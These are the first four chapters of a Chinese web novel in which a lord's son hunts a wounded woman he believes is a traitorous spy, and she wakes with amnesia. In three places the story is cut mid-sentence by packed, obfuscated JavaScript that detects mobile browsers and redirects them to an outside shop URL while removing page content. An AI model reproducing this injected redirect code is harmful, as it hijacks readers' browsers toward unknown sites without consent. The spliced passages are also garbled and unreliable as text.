《世子他只想贴贴》 1. 第 1 章 承安十三年,漓州芸薹镇。 此处位于无极山脉脚下,道路崎岖难行。毗邻官道的小镇不大,再往山脚下走,只能看到零星分布的三两座小村,实在算不上什么繁华小镇。 小镇牌坊下,立着一个年轻的小哥,一身玄色劲装,在夜色的浸染下,不怎么显眼。 今日云层厚重,朗月藏于乌云后面,不见其光华。 半晌,寂静无人的官道上传来一阵急促的马蹄声。 小哥身形一动,往前走了两步。 只见视野尽头渐渐浮现出三人纵马疾行的身形,皆是玄衣劲装。 随着马鸣嘶叫,三匹骏马在牌坊前勒停。 小哥快步上前,躬身抱拳。 他递上一张信笺。 “世子,你要的东西。” 马上的人快速看完,将信笺随手递给身后的人。 “藏得够深。” 身后有人搭话:“若真是她,怕是今晚凶多吉少。” 几日前,他们在来的路上便得知,还有另一拨人为此而来。 三日前同对方交手了一番,但对方似乎察觉到他们是在试探,交手的人当下便服毒自尽,未曾留下任何蛛丝马迹。 显然,这些人是有备而来,估摸着,不会比他们的消息慢多少。 今日乌云蔽日,实在是个杀人灭口的好日子。 马蹄声复又响起,三匹骏马沿着城镇中唯一的小道向着山脚下急速而去。刚刚传递信息的小哥也一个闪身,在尘土飞扬中消失了。 …… 临近除夕,小山村内家家都在门口贴上了喜庆的春联,昏暗的灯光透过窗户洒出来,在天井里投射出一片温暖的橙色。 偶闻几声犬吠,祥和宁静的氛围与平常一般无二。 吱嘎—— 破旧的木门声响起,王大娘推开屋门走出来,将遗忘在天井里晾晒的腌肉取回屋内。 今晚看不见月亮,想必后半夜要下夜雨。 王大娘搓了搓手,正欲将腌肉拎回屋,隔壁的犬吠声突然停了,她疑惑地往隔壁的院落张望。 登时,只见从天幕降下无数个黑影来,锃亮的刀身在漆黑的夜色下被油灯一照,千丝万缕仿佛一张吃人的大网,兜头落下来将人罩住。 王大娘吓得往后一个趔趄一屁股坐在地上,一双眼睛瞪得老大,死死捂住自己的嘴巴不敢发出半点声音。 腌肉掉在地上咕噜滚下了台阶,她则手脚并用扒拉着老旧的木门,蹬着门槛蛄蛹了进去。 滚到天井中的腌肉静静躺着,无人在意。 隔壁除了乒铃乓啷短兵相接的声音,再无多余的声音。 屋檐上还趴着几个弓箭手,蓄势待发。 就在此时,屋内突然传来一声巨响,有人破窗而出,带着一把血淋淋的长刀。 那人如一只轻盈的蝴蝶飞出来,落地立即又是几次辗转腾挪,躲避着屋檐上破空而来的剑雨。刀身过处,处处见血,血雾在窄小的天井里绽放。 没有人开口说话,只有兵器划破血肉的声音,抵抗的人一袭白衣早就被染成了红色,后背虽中了三箭但仍有力气在反抗的同时寻找突破口,伺机逃出这座精心打造的人形囚牢。 奈何最终还是敌众我寡,白衣人体力不支被一箭射中了胸口,整个人趔趄了一下单膝跪地,手握长刀做勉强支撑。 临近的一个黑影趁机地将长刀干脆利落送进了她的后腰。 红色黏稠的血液从刀尖滴落,不一会儿就在她的身下晕染出了一摊血水。 刀身抽出,她的身体一个踉跄,最终无力地倒在了地上。口中涌出大量的鲜血,漆黑的夜色中无法看清她的面容,只听见她发出了痛苦的呜咽声,嗓子似破旧的风箱,那是垂死前不甘的怒喊。 刚刚出刀的黑影见状皱眉,欲再补一刀。耳边乍然响起一声破空音,接着一柄长剑入腹,身体紧接着被一股重力撞飞砸到身后的柴垛上。 屋檐上趴着的弓箭手不知何时都被解决了,而天井里剩下的几个人几乎在他飞出去的瞬间齐刷刷倒地了。 临死前,他听到一个年轻的声音在耳畔响起。 “死了?” …… 姜暖记得爆炸响起的时候,师父将她牢牢护在身下。 她记得自己最后在她耳边笑道:“师父别护了,都得死。” 如此体量的炸药,在不足五米的距离爆炸,她们怎么可能活得下来,说不定瞬间就成人渣了,连一块都留不下来。 世人都说,人死后,会去另一个世界。 还好这次她不是孤单上路,说不定和师父能在另一个世界相遇。 抱着这样美好的期望,姜暖并不觉得死亡可怕,相比起她们日日在刀口舔血的日子,死亡或许也是另一种解脱。 在白光一闪而过的眩晕中,姜暖的意识逐渐模糊,脑海中似乎有什么东西正在逐渐抽离。紧接着她感受到了四肢百骸钻心的疼痛,身上的每一块肌肉每一根骨头似乎都在被烈火炙烤,偏偏她又觉得冷,好似灵魂被埋在了南极的冰层中。 恍恍惚惚中她费力睁开眼,眼前是黑乎乎一片,空气里似乎有一股浓稠的腥味儿还夹着一丝甜味儿,有点像蛋糕房里的味儿,甜腻腻的。 眼前还有黑影在晃动,不停地晃来晃去,让她想吐。 “嗯?还有气?” 有人在她耳边说话,但好像隔着一层玻璃罩子,嗡嗡嗡的听不清,有点像夏天烦人的苍蝇蚊子。 身体感觉极累,好似不吃不喝负重八十斤在热带雨林里漫无目的穿梭了两天两夜。 她只想好好睡觉,但是偏偏有人不想让她睡,一直在她耳边说话,还用手扇她的脸。 真烦啊。 她下意识张嘴咬。 “啊——” 唐田猝不及防被咬了一口,牙齿扣着他手上薄薄的一层皮肉就是不肯松口。 “松手!你给我松手!” 唐田一张脸皱成了一团,被胳膊粗的棍子打屁股的时候他都没吭声,如今却被一个女人咬得想哭。 唐枳去找大夫了,其他人在打扫战场没空帮他,他只好将目光投向站在离他几步远的人身上。 此刻一点点月光从厚重的云层后溜出来,投射在天井里,本就不大的小院在月华下一览无余。沈晏在月华中长身玉立,玄色的衣袍将他的肤色衬得宛若白瓷,加上月光的加持,好似天人临凡,不可亵渎。 天人沈晏看了一眼唐田,又看了看地上躺着的血人,拧起了好看的眉头,颇为嫌弃地拒绝了。 “忍着。” 唐田只能含泪忍着,不敢轻举妄动,生怕力气大点,这人就当场嗝屁了。 原本他们赶过来时,看见她伤成这样,觉得肯定是死透了。没承想本来已经咽气的人突然喉咙呼嗬了一声,愣是回了半口气吊着。 唐枳见状赶紧去找大夫,留他在这儿守着,别让人死了。 乡野大夫能力有限,不一定能将如此重伤的人救回来,现在姜暖留着半口气,在他们看来,也算不上什么好消息。 沈晏抬头看了眼被黑云遮了一半的月亮,思索着那群黑衣人的来历。 这次来漓州,他原本是借着替母寻药的由头来的。 因为不久前,他的卧房不知道被谁放了一封信,信中只有六个字。 ——漓州青衣未死 他查了很久,也查不到这信的来历。 当年皇上已经劝告过他,让他不要再为此事忧心,大理寺已经结案,真凶已经伏法,他只管待在昭宁城安安心心地做好他的镇安司司使。 如今五年已过,他不知道给他写这封信的人目的是什么,为何有意提起五年前的旧案。 难道当年的事其实另有隐情? 他左思右想了许久,还是吩咐了暗卫赶去漓州探查。 很快便查到了一名女子头上。 这倒是巧了。 于是他将寻药的事交给了其他人,带着唐田和唐枳快马赶赴芸薹镇。 …… 此时,月亮已经完全露出来了。 轻薄如纱的柔光洋洋洒洒铺满了小院的各个角落,地上的尸体和血迹被打扫得差不多了。 沈晏踱步到角落的葡萄架下,用绢帕将架下的藤椅擦了一遍,这才坐下。 查看完尸体的手下走过来汇报。 “世子,一共二十人,无一活口。所有人都戴着铁制的面具,但揭不下来,应当是直接烧红了贴上去的。” “嗯。” 沈晏扬了扬手,那人退下。 三日前那些服毒自尽的人也皆是如此,不知其来历。看样子这些人皆是死士,不仅被毁去了面容,连身上都干干净净。 果然是有备而来。 沈晏垂眸看了看躺在血泊中的人,白玉般的脸庞添了几道血痕,左边眉尾处一颗黑色的小痣格外明显。 他起身对唐田道:“你将她后腰处的衣服割开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576774|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 青衣的尾椎骨处有一个刺青,状如长蛇蜿蜒而上,到腰线处止。 好不容易脱离了虎口的唐田又被安排了去扒人衣服的活儿,一张略带婴儿肥的俏脸憋得通红。 “她、她可是个姑娘,不太好叭……” 嘴上这么嘟囔,但是动作却是很干净利落的。 命令是命令,羞涩是羞涩。 刺啦一声,衣服被撕开了一道小口子,唐田探头看去,忽略掉那有些惹眼的细腻白皙的皮肤,尾椎骨至腰线处确实有一个刺青。 那是一条蜿蜒而上的小黑蛇,细密的鳞片覆盖全身,蛇眼似乎是用朱砂点的,昂首前行,栩栩如生。 沈晏在血泊前站住,目光盯着那道刺青看了良久,确实和天衣阁中卷宗上画的一般无二。 果真是么? …… 青衣原本是大昭培养的暗探,后被派去南疆潜伏多年。 承安二十八年,青罗城一战,三万将士葬身鬼哭林,温老将军义女,大昭第一位女将军温岫战死。 当时唯一活下来的是沈晏,如果不是温岫将军拼死护着他逃出围剿,死的便是他沈晏,而不是温岫将军。 大昭的百姓都为温岫将军感到不值。 沈晏一介纨绔子弟,本就是一个克死亲爹兄长的煞星,连他的生母,安王妃都对他避之不及,早早便搬进了广济寺长住。 皇帝打发他去青罗城戍边,他却贪功冒进,被南疆人设伏围困在鬼哭林。就因为他的愚蠢害死了那么多将士,真真是天煞孤星一个,谁靠近谁倒霉! 沈晏垂眸,耳边似乎又响起了回昭宁城那天,道路两旁沸反盈天的叫骂声,还有老妪跪在他的马前,声嘶力竭的哭喊和质问。 无措和羞耻席卷他的全身,他的身体僵硬麻木,怎么也动不了。 后来,经过好几个月的彻查,最后只查出天衣阁暗探青衣疑似叛变,勾结南疆,假传军情。 皇帝震怒,下令彻查天衣阁,一时间阁内人人自危,此事后天衣阁内部彻底大清洗。 而青衣始终逃亡在外,不知所踪。 直到半年后,官府在青罗江打捞到了一具女尸,经天衣阁两位老阁主判断,此人就是青衣。 后又在其躲藏处发现勾结外敌的罪证,这才将此案结了。 官府虽结案,但大昭的百姓却觉得沈晏才是害死将士们的罪魁祸首,沈晏一度被逼得不敢出门,茶楼里唱戏的,天桥下说书的,每一个都在编排他是煞星恶鬼。昭宁城百姓的口水都要将他淹死了。 后来,皇帝迫于百姓舆论下令,责罚他闭门思过一年。 头两年的时候,安王世子府门前每日都有臭鸡蛋、烂菜叶子和粪水,臭不可闻。管家每日凌晨都要安排人手清洗,但是那味道日复一日,最后把门口的台阶都腌入味儿了,好几个月都散不了。 直到三年前,他接手了镇安司,手段毒辣地办了几个贪污大案后,在民间的名声才挽回不少,朝门口扔东西的人才渐渐没了。 如今五年时间过去,好似将一切都冲淡了。昭宁城上下对此事基本闭口不谈了,只有坊间百姓偶尔饭后茶余闲谈两句。 可他却永远忘不了。 他一直觉得青衣通敌叛国一事太过牵强,原本是想继续将事情查清楚,谁知道在禁足期间便得知青衣身亡的消息,大理寺也匆匆结了案。 等他得知消息派人去查探的时候,那尸体都被野狗啃食干净了。 一切似乎都已经尘埃落定了。 大理寺的卷宗他翻了无数遍,青衣勾结南疆,证据确凿。 叛国的原因也很简单,她爱上了一个南疆人,被对方利用,捏造了假消息,最后被对方出卖,她不得已逃回大昭。 沈晏不信。 多少次的午夜梦回,梦中只有堆叠成山的尸体和脚下厚厚一层血泥,腐烂的骸骨,腥臭的血肉压得他喘不过气。沸反盈天的惨叫似要将他的耳膜刺破,那一张张扭曲变形的脸都在提醒他,是他的莽撞害得大家家破人亡。 如今青衣尚在,那当年的那具尸体又是谁? “世子?” 唐田的声音唤回他的思绪,他的眼底涌上一股难以言喻的情绪,似是痛苦又有一丝兴奋。 他听到自己的声音在简陋的小院响起,好似永不停歇的风雪中被压弯了腰的青竹,摇摆着身躯发出了呕哑嘲哳的声音。 “她,得活着。” 五年前的事,还没结束…… 2. 第 2 章 小山村位于山脚下,只零散分布着几十来户人家,村里的人多数以打猎为生,房屋建设也多是山里取材建设的木屋,仅有两三户富足的人家用的砖瓦。 屋舍大多是独立修建,彼此之间隔着几亩良田,倒是极少会用一墙之隔做邻居的。 前段时间,王大娘的儿子进山狩猎,今日得归。 远远地,王豹就觉得有点不对劲,整个村子,属他们居住的最为偏僻,不过还好,同林虎家做了几十年邻居,平时邻里互相扶持,日子倒也过得下去。 这几年,因为林虎同他老母亲相继离世,只留下嫂子一人过活,他不免要多辛苦一点,否则嫂子那么羸弱的身体怕是撑不了几年。 陈旧的木门紧闭着,院子里没有一丁点响动,放平时,嫂子早已在院子里忙活了。 王豹将手里的兔子换了只手,准备敲门。 “豹子!” 王大娘将门开了一个缝隙,一只脚跨出门槛,正在冲王豹招手,语气有点着急。 “咋了,娘。” 王豹快速走过去,还未到跟前,就见他娘伸长了胳膊一抓,揪着他的领子将人拉拽进屋,再快而轻地将门带上。 王豹刚想张嘴问啥,王大娘语速极快地将他要吐出口的话挡了回去。 “最近都别往隔壁去了,林娘子这是摊上大事了!” 又说:“昨夜,你不知来了多少人,隔壁叮铃哐啷的闹了一宿。今早县太爷还亲自过来了,说是朝廷派人来缉拿要犯,叮嘱我们这些日子老老实实在家待着,莫要出去声张。” 昨晚,王大娘胆战心惊一夜未睡,今早天刚蒙蒙亮,就有人敲门。 她颤颤巍巍开门,发现是个生面孔,后头还陪着县太爷。她当时就膝盖一软,噗通一声跪倒地上,哆哆嗦嗦半晌不知道怎么回事。 那年轻人将她扶起来,含笑给她赔礼道歉一番,又解释了说昨夜隔壁抓要犯,惊扰了。 说完便掏出一锭白花花的银两,说是给的赔偿。 一开始,王大娘哪儿敢收啊,还是县太爷在那人身后挤眉弄眼地暗示了半天,她才感激涕零地收了。 事后,年轻人又嘱咐说,这几日就莫要随意出门了,外面可能不太平。再者,此次是秘密行动,希望大娘莫声张。 说完,脸上的笑意骤然收回,凉凉地看过来。 王大娘捏着手里的银子,觉得银子滑溜溜地在手里像要握不住。她顿时头也不敢抬,发紧的喉咙也吐不出声音,只能重重地点了好几次头。直到县太爷护着年轻人离开,她这才软了身子扶着门框坐下,银子从手心滑落,在泥巴地上嗑出了一个小小的坑。 王豹听得云里雾里,缉拿要犯,跟林娘子有什么关系! 王大娘抬手一个爆栗,警告道:“我也不知林娘子怎么跟这件事有牵扯,总之你这些日子老老实实待在家里,要是乱跑……”说着,往隔壁看了一眼。 “你丢了小命前脚走,我后脚就跟上!” 王豹最是孝顺,只能答应下来,这几日,娘儿俩一步也没迈出过家门。 …… 姜暖恢复意识的时候,只觉得浑身似乎都在被火燎,连呼吸都有尖锐的疼痛感,全身仿佛被重型卡车反复碾压过似的,连动一下都不能。 她不记得自己这是怎么了,只记得最后的白光和刺耳的嗡鸣。 眼前的所有都是模糊的,听力也没有恢复,她目前只能清晰地听到自己心脏跳动的声音,微弱但很急促。 耳边似乎还有其他杂音,但是像隔着一层厚厚的玻璃,听得不是很真切。 “你不能走!” 唐田正拽着刘大夫的药箱,不让人离开。 说好的大夫是救死扶伤的呢,里头的人还躺着没醒呢,你一个大夫怎么能丢下病人不管! 刘大夫也是被气得吹胡子瞪眼了,一把老骨头半夜被人从被窝挖起来便罢了,还在天上起起落落颠簸了大半夜,落地了眼睛还在冒金星呢,眼前就是一个马上咽气的血人。 他两眼一看就知道这人铁定救不回来,但是周围十几个黑衣大汉围着,一副治不好就一起陪葬的眼神。他只能哆哆嗦嗦处理一下伤口和断骨的地方,尽力而为。 现在该做的也做了,虽然人还没着急断气,但是也是要死不活的活死人。况且他本来也只是个治跌打损伤的,这种严重外伤他根本不擅长。 “该做的,老夫都做了,接下来是听天由命的,反正你们的人也去找胡谯胡大夫了,我留在这里也没用啊。” 今日,他还要开门做生意呢,这不耽误事儿吗。 “那你也不能走,胡大夫人还没到呢。” 唐田说着往后用力拽了一下,刘大夫被扯得原地转了圈,唐田推着人的肩膀就往房间里走。 “哎呀,救人救到底嘛……” 少年郎欺他老无力,刘大夫气得没办法,只好进屋候着。 刘大夫刚进屋,就发现躺在床上的姜暖费力地掀动着眼皮,好不容易撑开了一条缝儿,又无力地合上了。 他赶紧上前为她探脉。 昨夜他刚来时,只看一眼就断定此人不到一炷香肯定咽气。后来将她全身的伤口处理了一轮,又觉得如果换胡谯的话,可能有两成的机会存活。所以才会让他们赶紧去青阳县找胡谯,胡谯当年在军中做过军医,最擅长处理此类外伤。 不过胡谯好几年不出诊了,就算找了也轻易不出远门的。 探脉完毕后,刘大夫又扒开姜暖的眼皮细细看。一番望闻问切下来,刘大夫眼眸微亮,看稀罕物件似的上下打量着眼前瘦小的女子。 若说刚才他觉得此女子只有两成的机会能活,那么眼下,她已有五成的机会活下来。 奇了。 莫不是,阎王爷不打算收她? “老爷子,你在屋里叽里咕噜说什么呢,是不是在骂我。” 唐田从门口探个脑袋进来。 刘大夫一改刚才的吹胡子瞪眼,脸上笑呵呵的。 “这女娃能活!” 唐田疑惑,“你不是早就说了能活吗?” 刘大夫瞪大了双眼,“我什么时候说过她能活?我当时明明说的是两成的机会!”前提还得是他们能顺利地把胡谯请过来,否则错过了最后的救治时间,神仙来了也难救了。 不过刚刚查探了一下,这女娃命硬,应该是能撑到胡谯赶来。 唐田不解,“有区别?我们眼里可没有两成三成的,只有活着与死了。” 这姑娘现在还没咽气,就说明能活。 刘大夫被这霸道无理的逻辑噎了一下,半晌没说话。 拾掇好药箱,他提笔写了一个药方,打发唐田去熬药。 “你们能把胡谯请来吗,要是请不来或者晚了,这姑娘也活不了。” “那是自然,最快明晚月上中天能赶回来。” 唐田拿着药方看了看,没啥问题才往外走,步子迈得又大又稳。 世子亲自去请,天王老子也得买三分薄面。 …… 次日晚,月上中天时,胡谯果然被请来了。 刘大夫还在屋里喂药呢,听到声音回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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耳边是咕噜咕噜的烧水声,还伴随着木炭火星噼啪的爆裂声,好像,还有人的呼吸声。 看来听力也恢复了。 她又用力嗅了嗅,鼻端涌入了一股浓郁的草药味,有新鲜的,也有不新鲜的。似乎还有酒精的味道,混合着淡淡的血腥味,一股脑地在她的鼻腔里搅动。 嗅觉似乎也没有问题。 她尝试着动了动,发现自己的四肢和头颅好像都没有听从大脑的指令。 啧。 她只记得她经历过一场爆炸,那种体量的爆炸她应该早就成了碎片才对。 而且眼前的环境…… 她很陌生。 “哟,姑娘你醒了。” 姜暖眉头微皱,心生警惕,眼下的一切实在是太违和了。 闯入眼帘的是一位陌生的老人,手里端着一个黑乎乎的碗,并试图将碗里的东西喂给她。 她咬牙拒绝。 老人很着急,解释说自己是大夫,是来救她的。 姜暖脑子很乱,但是本能让她无法轻松应对眼前的一切,她紧闭双唇,眼睛在有限的角度将眼前的一切扫视一遍,脑子却无法进行分析和思考。 可她不应该还活着,但她能感觉到贴到自己唇上的汤匙有温度,甚至能感觉到自己身上很疼,钻心刺骨的痛,这是活着的人才有的感受。 剧烈的疼痛让她不得不停下思考,模糊的画面一帧一帧在她脑海中闪过,最后猛然炸开一片白光,她再睁眼,发现自己什么都不记得了。 她似乎,失忆了。 3. 第 3 章 脑海中似乎有什么画面在不断闪回,尖锐的刺痛冲击着她的前额和太阳穴。 姜暖努力地想要将脑海中的画面看清,但是只要开始回想,大脑便不受控制地疼痛,如万千银针嵌入其中。 在她的记忆中有遮天蔽日的高大树冠,有黏稠充满血腥味的空气,还有丛林中显露一角的玻璃建筑以及有个模糊的人影拍着她的肩膀喊她的名字——姜暖。 杂七杂八的声音此起彼伏地往她耳朵里钻,她看到记忆中的自己和他们一一打招呼,有几个人甚至可以说十分熟络,像是相处了许久的好友。 她努力地想看清他们每一个人的脸,但头痛总会在这个时候乍然袭来,她仿佛被一股外力极力拉扯着身体,然后同他们越来越远,最后消失在一片寂静的黑暗中。 姜暖再一次从梦境中醒来,她睁眼看着破败的茅草屋顶以及泥土堆砌的墙壁。 太陌生了。 她应该从没来过这里,甚至这这个房子也从未在她记忆里出现过。 她稍稍扭头,看到墙上挂着一件陈旧的蓑衣,离床榻不远处,有一张看不出颜色的小方桌,桌上放着造型简陋的土陶罐。屋内的没有干净的地板,而是不太平整的泥巴地,她的身下也不是软硬适中的床垫,而是坚硬的木床。 目前为止,这屋内所有的东西都让她觉得有点奇怪,但她又说不上来哪里奇怪,只觉得很违和。 她不应该出现在这里。 床边站着一个白胡子老头,头发挽了一半在头顶,插了一截造型奇怪的木头棒子,另一半头发披在后颈,鬓边还留了两缕长发,像两条白色的鞋带。 一切都那么的古怪陌生。 这个老头刚刚还说她受了重伤,他一直在为她治疗。 为什么她会受如此重的伤?这个老头又为什么要救她? 她艰难地转动着脑袋,记忆依旧是大片大片的空白。 她为什么会来到这么古怪的地方?她失去意识前那道刺眼的白光又是怎么回事? 她好像还有同伴…… 一时间有太多疑问浮现在她的脑海中,但眼下情况不适合她先发制人,只能一点一点解谜。 “老先生,我现在是在哪里?”嗓音有点哑,但是气息很稳。 “这是你家,你认不出了么?”刘大夫愣了一下,不过想着她眼下的情况,脑子一时转不过来也是正常的。 又说:“不过刚刚醒来人有点懵也是正常的,过会儿就好了。” 检查完包扎的伤口,刘大夫继续说道:“你之前可是差点就见了阎王,不过也是你自己命大,生生撑过来了。” 这个小姑娘看着不过二十三的年纪,也不知道是得罪了什么人,浑身上下没一块好肉,着急忙慌救她的人瞧着倒不像是熟人,而且一个个的都穿一身黑衣服,瞧着也不像是善茬。 但他只管救命,旁的也不敢多问,县太爷都叮嘱了不能往外说,多半是什么朝廷机密,知道太多,命会短。 姜暖试着动了动手指,除了牵着到伤口有点疼以外并无任何不适。不过身上还是没有力气,无法起身,想来是伤得很重。 刘大夫检查完伤口,看她恢复得不错,脸上也挂上了笑意,叮嘱完姜暖好好休养便要离开。 姜暖见状,忙喊住他。 “老先生,我为什么会受这么严重的伤?” 她现在只零碎地记得一些模糊的画面,她能百分百确定的是,她在失去意识前应该是在其他地方,并不是这里。 “我不知,我来的时候你已经倒在血泊里。”刘大夫疑惑,“不过,你自己怎么受伤的你也不记得了吗?” 如果是头部受到重创的情况,或许会出现失忆的情况,但是他并未在她头上发现有伤痕。 “我不记得了……” 这是实话。 刘大夫闻言,将她的脑袋左右扒拉一遍检查,对比四肢和躯干,她这颗脑袋简直是完好无损。 “那这可棘手了……” 嘀嘀咕咕说完,刘大夫扔下一句稍等,健步如飞地跑出去了。 姜暖正要开口留人,但声音都还没发出来,人就已经不见了。 这老头看着年岁挺大,腿脚还挺利索的。 …… 刘大夫自然是去找胡谯的,此时胡谯正要告辞,高枳给他挑了一匹温顺的马儿,正帮他往马上装行囊。 沈晏换了一套宝蓝色暗纹交领,袖口是银白色皮质护臂,脖子上围了一圈白色的狐狸毛围脖,衬得他的皮肤更加白皙。宽肩窄腰松柏似的立在门下,连带着那黝黑破烂的木头门儿都好似镶了金边。 端得一个不染烟火的矜贵模样。 他的眼尾略下垂,本该是一副无辜温顺的面容,奈何眉峰凛冽,眼神凝冰,平白添了几分生人勿近来。 前两日匆匆一瞥加上夜黑,刘大夫倒是没有细瞧,今日借着晨曦一瞧,只觉得贵气逼人,不敢直视,只隔了五步远同胡谯说话。 “失忆?” 胡谯还未收起脸上疑惑的表情,只听耳边传来一声冷哼,紧接着眼前掠过一道人影。 沈晏已经阔步往里走了。 胡谯只得让唐枳把行囊卸下来,看样子,他还要多留几天。 姜暖正躺在床上感受身体的每一节骨头是否还听使唤,就听见木板门非常嚣张地吱嘎一响。 下一秒,一个高大的人影裹着屋外的冷气大步跨进屋内来。 姜暖的眼神还没和他的对上,只觉得一团毛茸茸的东西欺身而上,雪白雪白的,像一只白毛狐狸不客气地霸占了她的全部视野。 沈晏立于床前,肩背挺直,只眼睛向下暼着她。 “失忆?” 这语气显然是不信。 姜暖倒不管他信不信,她都不认识眼前的人是谁。 她觉得这人气势汹汹闯进来,还面露凶光地盯着她看,好似要生吞活剥了她。 莫不是来寻仇的? 但是奈何她现在脑袋空空,什么也想不起来。 略思索一番,还是礼貌地开口问道:“你是?” 沈晏冷着一张脸,慢慢俯下身来,停在了姜暖三寸远的地方停下,眼神从她左侧眉尾的小痣上扫过,最终落在她的眼睛上,一错不错,好似要在她脸上烫出一个洞来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576776|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “五年前,青罗城。” “天衣阁暗探,青衣。” “通敌叛国,逃亡在外,不知所踪。” 他说得极慢,每说一句话都会特意停顿一会儿观察姜暖的反应。 可是三句话说完,姜暖的表情还是茫然,虽然眉头有微微皱起,但是眼神却是不知所云的表现,甚至还在认真思考,这三句话于她到底是什么意思。 “你说的青衣,是我的名字?” “难道不是?”沈晏微微歪了一下头,眼神好似毒蛇般渗人。 姜暖坦坦荡荡与他对视,非常肯定地回答:“当然不是,我应该叫姜暖。” 她虽然一时半会儿记不起事,但名字她还是记得的。 姜暖,是师父取的名字,跟了她十几年了,她绝不会弄错。 师父…… 对,她还有个师父。 可是她的师父好像不在这里。 姜暖的脑子又有点宕机了。 沈晏的眼睛闪烁了一下,歪头的幅度大了点。 从调查的情报来看,这个女人眉尾的小痣和身上的纹身,以及昨晚显露出来的身手,都能与天衣阁暗探青衣对得上。 难不成是真的失忆? 这双眼睛到目前为止毫无破绽,对他的三次试探皆是茫然无知,还说自己叫姜暖…… 这个名字好像听谁提过。 不管如何,这个女人是青衣的可能性很大。 冰凉的手指攀上细长的脖颈,只需要用力一掰,就能轻易折断。 而姜暖被这骤然袭来的冰凉触感激得打了个冷战,下巴无意识后缩了一下。 沈晏的声音沉了下去,警告地说道:“你应该知道对我撒谎的后果。” 真失忆也好,装失忆也好,只要确认了她青衣的身份,镇安司的刑狱大牢有的是方法让她口吐真言。 姜暖睁着眼睛眨巴着,完全没有被他这架势唬住,反而镇定地回了三个字。 “不知道。” 对方好像愣了一下,似乎是没想到她会说这三个字,连带着呼吸都暂停了一秒。 她真是不知道嘛。 “好好好、你、很、好。” 沈晏几乎是咬牙切齿地将这几个字蹦出来。 他的胸中不知为何突然冒了一点火气上来,掐住她脖子的动作不由地加重了一些。 姜暖的一张脸被掐得通红,她没想到自己下意识的回答竟惹来对方这么大的怒意,窒息的感受让她不住地翻着白眼。 “世子。” 门口突然有人出声提醒,沈晏的眼神闪烁了一下,然后他深吸了一口气,强迫自己慢慢冷静下来。 他拍了拍姜暖的脸颊,如恶魔低语:“你最好乖一点,否则……”警告地看了她一眼,最后起身离开。 得到喘息后的姜暖疯狂咳嗽,直到眼泪都咳出来才停下。 好险,她差点又去见阎王了。 才好一些的嗓子估计又要废几天,看来刚刚那个人是这群人里的头目。 疯子一样。 此人不好惹。 姜暖心想。 4. 第 4 章 林小花于五年前流落到芸薹镇,林虎的母亲将人领回家,给她取了这个名字。 不久,将林小花嫁给了自己的儿子。 婚后不到半年,林虎外出打猎时滚下山坡撞在了一棵断裂的树桩上,失血过多而亡。 而后半年,林母病逝,林小花成了独居的寡妇。 平时多亏邻居王豹母子二人照拂,平日做些浆洗的粗活儿,日子倒也过下去了。 直到五日前,那场刺杀。 这日刚过午时,王豹母子二人被唐枳请到隔壁问话。 王大娘被王豹半搀扶着,哆哆嗦嗦来到隔壁院中。 自打林虎去世后,她来此串门的次数越来越频繁,特别是近半年,几乎是日日都要过来一趟,与林娘子拉家常。 进林娘子的小院跟进自己家的也没两样,但今日,院里好像多了一些东西,连气味都有些不同了,她只认得出廊下那把圈椅上铺着的上好的白狐皮,价格是她不敢想的高价。 镇子上最好的狐皮是二百两,但与刚刚惊鸿一瞥的相比,不过也是杂毛不入流的货色了。 她瞬间被吓得不敢左右乱瞟,头越往里走越低,生怕冒犯了廊下端坐的贵人。但她的腿脚有些不听使唤,好在还有王豹扶着她,让她不至于从进门那刻便跪下去。 唐枳笑着安抚:“别害怕,只需要回答几个问题就行。” 将人带到台阶下,唐枳便站到了沈晏左侧,右侧是看起来有点不大高兴的唐田。 一左一右像两个护法,而沈晏端坐在中间,像个活阎王似的板着一张脸,用手支着头,垂着眼不知道在想什么。 右前方的小几上放着一个三足紫铜缠枝莲香炉,细白的烟雾缓缓飘升,散出一股微甜的香味,仔细嗅一下会发现里头还夹杂着一丝清苦。 “听说你与林娘子平日来往密切?” 话是唐枳问的,问的是王大娘。 “不,不熟,不熟的。” 视野里那一角蓝色的织锦衣袍一看就价值连城,连县太爷都弓着身子说话的,想必是昭宁城里的达官显贵。她不知王娘子犯了什么大罪,与那朝廷命犯有什么勾连,总之她现在得赶紧撇清关系。 幸好她这几日已经与儿子王豹对了口供,只要他们母子二人一致对外,应该是牵连不到他们身上的。 话一说出口,胆子也渐渐大了起来,连说话都顺畅了许多。 “不过是邻居,平日左右不过要打个照面,招呼两声罢了。若说往来密切,倒也没有,林娘子整日不常出门,只隔个几日托我帮她买点菜,偶尔一起外出浆洗罢了,倒也没说过几次话。” “是的,是的。”王豹在一旁附和,“我娘见他新寡可怜,嘱咐我打猎回来时,给她捎带一两只兔子之类……” “不熟?”还未等王豹说完话,唐田在一旁急忙打断,“不熟你娘还私下找神算子给你俩合八字,算姻缘?” 看着老实巴交的怎么还说谎呢! 